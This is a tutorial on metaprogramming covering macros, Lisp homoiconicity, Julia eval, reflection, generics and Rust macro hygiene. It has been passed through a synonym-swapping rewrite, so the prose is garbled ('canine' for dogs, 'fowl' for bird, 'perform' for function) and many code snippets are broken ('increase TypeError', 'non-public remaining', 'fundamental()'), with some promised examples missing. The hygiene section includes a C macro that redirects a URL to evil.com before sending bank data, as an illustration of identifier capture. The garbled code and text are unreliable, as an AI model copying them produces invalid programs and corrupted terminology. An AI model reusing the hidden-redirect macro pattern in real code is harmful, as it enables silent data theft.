Code Writing Code: An Introduction to the Concept and Apply of Fashionable Metaprogramming

At any time when I take into consideration one of the best ways to elucidate macros, I bear in mind a Python program I wrote after I first began programming. I couldn’t arrange it the best way I needed to. I needed to name a lot of barely completely different features, and the code grew to become cumbersome. What I used to be looking for—although I didn’t comprehend it then—was metaprogramming.

We are able to assemble an instance that demonstrates the identical issues I confronted with my Python mission by imagining we’re constructing the again finish of an app for pet house owners. Utilizing the instruments in a library, pet_sdk, we write Python to assist the pet house owners buy cat meals:

import pet_sdk

cats = pet_sdk.get_cats()
print(f"Discovered {len(cats)} cats!")
for cat in cats:
    pet_sdk.order_cat_food(cat, quantity=cat.food_needed)

After confirming that the code works, we transfer on to implement the identical logic for 2 extra sorts of pets (birds and canine). We additionally add a function to ebook vet appointments:

# An SDK that may give us details about pets - sadly, the features are barely completely different for every pet
import pet_sdk

# Get all the birds, cats, and canine within the system, respectively
birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
canine = pet_sdk.get_dogs()

for cat in cats:
    print(f"Checking data for cat {cat.title}")

    if cat.hungry():
        pet_sdk.order_cat_food(cat, quantity=cat.food_needed)
    
    cat.clean_litterbox()

    if cat.sick():
        available_vets = pet_sdk.find_vets(animal="cat")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_cat_appointment(cat)

for canine in canine:
    print(f"Checking data for canine {canine.title}")

    if canine.hungry():
        pet_sdk.order_dog_food(canine, quantity=canine.food_needed)
    
    canine.stroll()

    if canine.sick():
        available_vets = pet_sdk.find_vets(animal="canine")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_dog_appointment(canine)

for fowl in birds:
    print(f"Checking data for fowl {fowl.title}")

    if fowl.hungry():
        pet_sdk.order_bird_food(fowl, quantity=fowl.food_needed)
    
    fowl.clean_cage()

    if fowl.sick():
        available_vets = pet_sdk.find_birds(animal="fowl")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_bird_appointment(fowl)

It will be good to condense Snippet 2’s repetitive logic right into a loop, so we got down to rewrite the code. We shortly understand that, as a result of every perform is called in another way, we will’t decide which one (e.g., book_bird_appointment, book_cat_appointment) to name in our loop:

import pet_sdk

all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs()

for animal in all_animals:
    # What now?

Let’s think about a turbocharged model of Python wherein we will write applications that routinely generate the ultimate code we wish—one wherein we will flexibly, simply, and fluidly manipulate our program as if it have been a listing, information in a file, or another frequent information kind or program enter:

import pet_sdk

for animal in ["cat", "dog", "bird"]:
    animals = pet_sdk.get_{animal}s() # When animal is "cat", this
                                      # could be pet_sdk.get_cats()

    for animal in animal:
        pet_sdk.order_{animal}_food(animal, quantity=animal.food_needed)
        # When animal is "canine" this may be
        # pet_sdk.order_dog_food(canine, quantity=canine.food_needed)

That is an instance of a macro, accessible in languages comparable to Rust, Julia, or C, to call a number of—however not Python.

This situation is a superb instance of the way it might be helpful to jot down a program that’s in a position to modify and manipulate its personal code. That is exactly the draw of macros, and it’s one among many solutions to a much bigger query: How can we get a program to introspect its personal code, treating it as information, after which act on that introspection?

Broadly, all methods that may accomplish such introspection fall below the blanket time period “metaprogramming.” Metaprogramming is a wealthy subfield in programming language design, and it may be traced again to at least one vital idea: code as information.

Reflection: In Protection of Python

You would possibly level out that, though Python might not present macro assist, it affords loads of different methods to jot down this code. For instance, right here we use the isinstance() technique to establish the category our animal variable is an occasion of and name the suitable perform:

# An SDK that may give us details about pets - sadly, the features
# are barely completely different

import pet_sdk

def process_animal(animal):
    if isinstance(animal, pet_sdk.Cat):
        animal_name_type = "cat"
        order_food_fn = pet_sdk.order_cat_food
        care_fn = animal.clean_litterbox 
    elif isinstance(animal, pet_sdk.Canine):
        animal_name_type = "canine"
        order_food_fn = pet_sdk.order_dog_food
        care_fn = animal.stroll
    elif isinstance(animal, pet_sdk.Fowl):
        animal_name_type = "fowl"
        order_food_fn = pet_sdk.order_bird_food
        care_fn = animal.clean_cage
    else:
        increase TypeError("Unrecognized animal!")
    
    print(f"Checking data for {animal_name_type} {animal.title}")
    if animal.hungry():
        order_food_fn(animal, quantity=animal.food_needed)
    
    care_fn()

    if animal.sick():
        available_vets = pet_sdk.find_vets(animal=animal_name_type)
        if len(available_vets) > 0:
            vet = available_vets[0]
            # We nonetheless need to examine once more what kind of animal it's
            if isinstance(animal, pet_sdk.Cat):
                vet.book_cat_appointment(animal)
            elif isinstance(animal, pet_sdk.Canine):
                vet.book_dog_appointment(animal)
            else:
                vet.book_bird_appointment(animal)


all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs()
for animal in all_animals:
    process_animal(animal)

We name this sort of metaprogramming reflection, and we’ll come again to it later. Snippet 5’s code remains to be a bit cumbersome however simpler for a programmer to jot down than Snippet 2’s, wherein we repeated the logic for every listed animal.

Homoiconicity: The Significance of Lisp

Some programming languages, like Lisp, take the idea of metaprogramming to a different degree through homoiconicity.

Lisp, created in 1958, is the oldest homoiconic language and the second-oldest high-level programming language. Getting its title from “LISt Processor,” Lisp was a revolution in computing that deeply formed how computer systems are used and programmed. It’s arduous to overstate how essentially and distinctively Lisp influenced programming.

Emacs is written in Lisp, which is the one pc language that’s stunning. Neal Stephenson

Lisp was created just one 12 months after FORTRAN, within the period of punch playing cards and navy computer systems that crammed a room. But programmers nonetheless use Lisp right now to jot down new, fashionable purposes. Lisp’s major creator, John McCarthy, was a pioneer within the discipline of AI. For a few years, Lisp was the language of AI, with researchers prizing the power to dynamically rewrite their very own code. As we speak’s AI analysis is centered round neural networks and sophisticated statistical fashions, somewhat than that kind of logic technology code. Nonetheless, the analysis carried out on AI utilizing Lisp—particularly the analysis carried out within the ’60s and ’70s at MIT and Stanford—created the sector as we all know it, and its huge affect continues.

Lisp’s creation uncovered early programmers to the sensible computational prospects of issues like recursion, higher-order features, and linked lists for the primary time. It additionally demonstrated the ability of a programming language constructed on the concepts of lambda calculus.

These notions sparked an explosion within the design of programming languages and, as Edsger Dijkstra, one of many best names in pc science put it, “[…] assisted a lot of our most gifted fellow people in pondering beforehand not possible ideas.”

This instance reveals a easy Lisp program (and its equal in additional acquainted Python syntax) that defines a perform “factorial” that recursively calculates the factorial of its enter and calls that perform with the enter “7”:

def factorial(n):
    if n == 1:
        return 1
    else:
        return n * factorial(n-1)

print(factorial(7))

Code as Information

Regardless of being one among Lisp’s most impactful and consequential improvements, homoiconicity, not like recursion and plenty of different ideas Lisp pioneered, didn’t make it into most of right now’s programming languages.

The next desk compares homoiconic features that return code in each Julia and Lisp. Julia is a homoiconic language that, in some ways, resembles the high-level languages it’s possible you’ll be accustomed to (e.g., Python, Ruby).

The important thing piece of syntax in every instance is its quoting character. Julia makes use of a : (colon) to cite, whereas Lisp makes use of a ' (single quote):

(defun function_that_returns_code ()
    '(+ x 1))

In each examples, the quote beside the principle expression ((x + 1) or (+ x 1)) transforms it from code that might have been evaluated instantly into an summary expression that we will manipulate. The perform returns code—not a string or information. If we have been to name our perform and write print(function_that_returns_code()), Julia would print the code stringified as x+1 (and the equal is true of Lisp). Conversely, with out the : (or ' in Lisp), we’d get an error that x was not outlined.

Let’s return to our Julia instance and prolong it:

perform function_that_returns_code(n)
    return :(x + $n)
finish

my_code = function_that_returns_code(3)
print(my_code) # Prints out (x + 3)

x = 1
print(eval(my_code)) # Prints out 4
x = 3
print(eval(my_code)) # Prints out 6

The eval perform can be utilized to run the code that we generate from elsewhere in this system. Notice that the worth printed out relies on the definition of the x variable. If we tried to eval our generated code in a context the place x wasn’t outlined, we’d get an error.

Homoiconicity is a strong sort of metaprogramming, in a position to unlock novel and sophisticated programming paradigms wherein applications can adapt on the fly, producing code to suit domain-specific issues or new information codecs encountered.

Take the case of WolframAlpha, the place the homoiconic Wolfram Language can generate code to adapt to an unimaginable vary of issues. You possibly can ask WolframAlpha, “What’s the GDP of New York Metropolis divided by the inhabitants of Andorra?” and, remarkably, obtain a logical response.

It appears unlikely that anybody would ever suppose to incorporate this obscure and pointless calculation in a database, however Wolfram makes use of metaprogramming and an ontological data graph to jot down on-the-fly code to reply this query.

It’s vital to grasp the flexibleness and energy that Lisp and different homoiconic languages present. Earlier than we dive additional, let’s contemplate a few of the metaprogramming choices at your disposal:

Let’s take a look at some hands-on examples of homoiconicity, macros, preprocessor directives, reflection, and generics written in numerous programming languages:

# Prints out "Good day Will", "Good day Alice", by dynamically creating the strains of code
say_hi = :(println("Good day, ", title))

title = "Will"
eval(say_hi)

title = "Alice"
eval(say_hi)

int fundamental() {
#ifdef _WIN32
    printf("This part will solely be compiled for and run on home windows!n");
    windows_only_function();
#elif __unix__
    printf("This part will solely be compiled for and run on unix!n");
    unix_only_function();
#endif
    printf("This line runs no matter platform!n");
    return 1;
}

from pet_sdk import Cat, Canine, get_pet

pet = get_pet()

if isinstance(pet, Cat):
    pet.clean_litterbox()
elif isinstance(pet, Canine):
    pet.stroll()
else:
    print(f"Do not know tips on how to assist a pet of kind {kind(pet)}")

import com.instance.coordinates.*;

interface Car {
    public String getName();
    public void transfer(double xCoord, double yCoord);
}

public class VehicleDriver<T extends Car> {
    // This class is legitimate for another class T which implements
    // the Car interface
    non-public remaining T automobile;

    public VehicleDriver(T automobile) {
        System.out.println("VehicleDriver: " + automobile.getName());
        this.automobile = automobile;
    }

    public void goHome() {
        this.automobile.transfer(HOME_X, HOME_Y);
    }

    public void goToStore() {
        this.automobile.transfer(STORE_X, STORE_Y);
    }
    
}

macro_rules! print_and_return_if_true {
    ($val_to_check: ident, $val_to_return: expr) => {
        if ($val_to_check) {
            println!("Val was true, returning {}", $val_to_return);
            return $val_to_return;
        }
    }
}

// The next is identical as if for every of x, y, and z,
// we wrote if x { println!...}
fn instance(x: bool, y: bool, z: bool) -> i32 {
    print_and_return_if_true!(x, 1);
    print_and_return_if_true!(z, 2);
    print_and_return_if_true!(y, 3);
}

Macros (just like the one in Snippet 11) have gotten well-liked once more in a brand new technology of programming languages. To efficiently develop these, we should contemplate a key subject: hygiene.

Hygienic and Unhygienic Macros

What does it imply for code to be “hygienic” or “unhygienic”? To make clear, let’s take a look at a Rust macro, instantiated by the macro_rules! perform. Because the title implies, macro_rules! generates code primarily based on guidelines we outline. On this case, we’ve named our macro my_macro, and the rule is “Create the road of code let x = $n”, the place n is our enter:

macro_rules! my_macro {
    ($n) => {
        let x = $n;
    }
}

fn fundamental() {
    let x = 5;
    my_macro!(3);
    println!("{}", x);
}

After we increase our macro (working a macro to interchange its invocation with the code it generates), we’d count on to get the next:

fn fundamental() {
    let x = 5;
    let x = 3; // That is what my_macro!(3) expanded into
    println!("{}", x);
}

Seemingly, our macro has redefined variable x to equal 3, so we might moderately count on this system to print 3. In reality, it prints 5! Stunned? In Rust, macro_rules! is hygienic with respect to identifiers, so it might not “seize” identifiers outdoors of its scope. On this case, the identifier was x. Had it been captured by the macro, it might have been equal to three.

Hygiene in macros is a considerably controversial subject amongst builders. Proponents insist that with out hygiene, it’s all too straightforward to subtly modify your code’s habits by chance. Think about a macro that’s considerably extra advanced than Snippet 13 utilized in advanced code with many variables and different identifiers. What if that macro used one of many identical variables as your code—and also you didn’t discover?

It’s common for a developer to make use of a macro from an exterior library with out having learn the supply code. That is particularly frequent in newer languages that supply macro assist (e.g., Rust and Julia):

#outline EVIL_MACRO web site="https://evil.com";

int fundamental() {
    char *web site = "https://good.com";
    EVIL_MACRO
    send_all_my_bank_data_to(web site);
    return 1;
}

This unhygienic macro in C captures the identifier web site and adjustments its worth. In fact, identifier seize isn’t malicious. It’s merely an unintended consequence of utilizing macros.

So, hygienic macros are good, and unhygienic macros are unhealthy, proper? Sadly, it’s not that easy. There’s a robust case to be made that hygienic macros restrict us. Generally, identifier seize is beneficial. Let’s revisit Snippet 2, the place we use pet_sdk to supply providers for 3 sorts of pets. Our authentic code began out like this:

birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
canine = pet_sdk.get_dogs()

for cat in cats:
    # Cat particular code
for canine in canine:
    # Canine particular code
# and so on…

You’ll recall that Snippet 3 was an try to condense Snippet 2’s repetitive logic into an all-inclusive loop. However what if our code will depend on the identifiers cats and canine, and we needed to jot down one thing like the next:

{animal}s = pet_sdk.get{animal}s()
for {animal} in {animal}s:
    # {animal} particular code

Snippet 16 is a bit easy, after all, however think about a case the place we’d desire a macro to jot down 100% of a given portion of code. Hygienic macros is perhaps limiting in such a case.

Whereas the hygienic versus unhygienic macro debate will be advanced, the excellent news is that it’s not one wherein you must take a stance. The language you’re utilizing determines whether or not your macros will probably be hygienic or unhygienic, so bear that in thoughts when utilizing macros.

Fashionable Macros

Macros are having a little bit of a second now. For a very long time, the main target of recent crucial programming languages shifted away from macros as a core a part of their performance, eschewing them in favor of different varieties of metaprogramming.

The languages that new programmers have been being taught in colleges (e.g., Python and Java) advised them that each one they wanted was reflection and generics.

Over time, as these fashionable languages grew to become well-liked, macros grew to become related to intimidating C and C++ preprocessor syntax—if programmers have been even conscious of them in any respect.

With the arrival of Rust and Julia, nonetheless, the development has shifted again to macros. Rust and Julia are two fashionable, accessible, and broadly used languages which have redefined and popularized the idea of macros with some new and progressive concepts. That is particularly thrilling in Julia, which seems poised to take the place of Python and R as an easy-to-use, “batteries included” versatile language.

After we first checked out pet_sdk via our “TurboPython” glasses, what we actually needed was one thing like Julia. Let’s rewrite Snippet 2 in Julia, utilizing its homoiconicity and a few of the different metaprogramming instruments that it affords:

utilizing pet_sdk

for (pet, care_fn) = (("cat", :clean_litterbox), ("canine", :walk_dog), ("canine", :clean_cage))
    get_pets_fn = Meta.parse("pet_sdk.get_${pet}s")
    @eval start
        native animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), and so on.
        for animal in animals
            animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), and so on.
        finish
    finish
finish

Let’s break down Snippet 17:

1. We iterate via three tuples. The primary of those is ("cat", :clean_litterbox), so the variable pet is assigned to "cat", and the variable care_fn is assigned to the quoted image :clean_litterbox.
2. We use the Meta.parse perform to transform a string into an Expression, so we will consider it as code. On this case, we wish to use the ability of string interpolation, the place we will put one string into one other, to outline what perform to name.
3. We use the eval perform to run the code that we’re producing. @eval start… finish is one other means of writing eval(...) to keep away from retyping code. Contained in the @eval block is code that we’re producing dynamically and working.

Julia’s metaprogramming system really frees us to precise what we wish the best way we wish it. We may have used a number of different approaches, together with reflection (like Python in Snippet 5). We additionally may have written a macro perform that explicitly generates the code for a particular animal, or we may have generated your entire code as a string and used Meta.parse or any mixture of these strategies.

Julia is maybe one of the fascinating and compelling examples of a contemporary macro system however it’s not, by any means, the one one. Rust, as properly, has been instrumental in bringing macros in entrance of programmers as soon as once more.

In Rust, macros function way more centrally than in Julia, although we gained’t discover that absolutely right here. For a bevy of causes, you can not write idiomatic Rust with out utilizing macros. In Julia, nonetheless, you might select to fully ignore the homoiconicity and macro system.

As a direct consequence of that centrality, the Rust ecosystem has actually embraced macros. Members of the group have constructed some extremely cool libraries, proofs of idea, and options with macros, together with instruments that may serialize and deserialize information, routinely generate SQL, and even convert annotations left in code to a different programming language, all generated in code at compile time.

Whereas Julia’s metaprogramming is perhaps extra expressive and free, Rust might be one of the best instance of a contemporary language that elevates metaprogramming, because it’s featured closely all through the language.

An Eye to the Future

Now’s an unimaginable time to be serious about programming languages. As we speak, I can write an software in C++ and run it in an internet browser or write an software in JavaScript to run on a desktop or telephone. Limitations to entry have by no means been decrease, and new programmers have data at their fingertips like by no means earlier than.

On this world of programmer selection and freedom, we more and more have the privilege to make use of wealthy, fashionable languages, which cherry-pick options and ideas from the historical past of pc science and earlier programming languages. It’s thrilling to see macros picked up and dusted off on this wave of improvement. I can’t wait to see what a brand new technology’s builders will do as Rust and Julia introduce them to macros. Keep in mind, “code as information” is greater than only a catchphrase. It’s a core ideology to bear in mind when discussing metaprogramming in any on-line group or tutorial setting.

‘Code as information’ is greater than only a catchphrase.

Metaprogramming’s 64-year historical past has been integral to the event of programming as we all know it right now. Whereas the improvements and historical past we explored are only a nook of the metaprogramming saga, they illustrate the strong energy and utility of recent metaprogramming.